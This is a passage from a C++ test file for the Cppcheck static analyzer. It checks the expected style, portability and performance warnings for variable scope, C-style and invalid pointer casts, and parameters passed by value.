\\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n 